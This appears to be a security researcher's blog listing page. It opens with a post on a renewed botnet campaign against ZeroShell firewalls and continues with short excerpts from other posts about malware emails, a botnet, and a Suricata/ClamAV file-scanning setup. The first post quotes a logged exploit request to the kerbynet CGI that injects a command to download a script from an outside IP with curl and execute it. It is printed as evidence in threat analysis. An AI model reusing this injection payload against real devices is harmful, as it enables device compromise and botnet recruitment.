Back in August, I discovered novel cyberattacks targeting network infrastructure. Now, four months later, another botnet is targeting these devices again.
My original report is here: https://nbailey.ca/post/zeroshell-botnet
New attack The previous version of the zeroshell malware would leave logs with this pattern:
/cgi-bin/kerbynet?Section=NoAuthREQ&Action=x509List&type=*%22;cd%20%2Ftmp;curl%20-O%20http%3A%2F%2F18.104.22.168%2Fzero;sh%20zero;%22 Decoding the URL strings, we get:
/cgi-bin/kerbynet?Section=NoAuthREQ&Action=x509List&type=*";cd /tmp;curl -O http://22.214.171.124/zero;sh zero;" This string causes the vulnerable system to download and execute a shell script named zero.
However, the new attack takes on a different form:
Today I got yet another malware email. They just won’t leave me alone. I suspect it has to do with the upcoming US election, based on all the CISA alerts I’ve seen over the last couple days.
However, after going down the rabbit hole with this malware I do suspect that whatever is behind it is more sophisticated than a simple ransomware gang. I won’t speculate too much, but because of its highly distributed and evasive design it could be the work of a larger enterprise.
Starting a little less than two weeks ago, my IDS sensors have been detecting the spread of a new botnet. Unlike previous Mirai botnets, this appears to specifically target the GNU/Linux firewall distribution, “ZeroShell”. While it’s not especially dangerous as far as botnets are concerned, it does appear to be rather vigorous when it sends probes.
However, we got lucky this time. Just as quickly it appeared, the C&C server went offline stopping the spread of this worm dead in its tracks.
In my endless quest to essentially create a Cisco Firepower firewall for poor people, I found a bit of a gap in the open source security ecosystem. While we have great tools for detecting malicious network traffic patterns, we don’t have easy ways of detecting malicious files in transit. So, a bit of fiddling around later, and I have a fairly basic system for integrating Suricata’s ‘filestore’ functionality with ClamAV’s real time scanning, thereby producing a log containing the source and destination addresses of any malicious files detected.
Today, I got an email inquiring about a job opportunity. This was immediately pretty funny, since I don’t employ anybody including myself. Even better, the guy sent a Microsoft Excel file as the ‘resume’, so even if I was hiring… Sorry bud, not going to be you.
Now normally I just delete these documents and report spam. But seeing as how I’m locked into my house and have nothing better to do right now, I figured I might as well have some fun with this.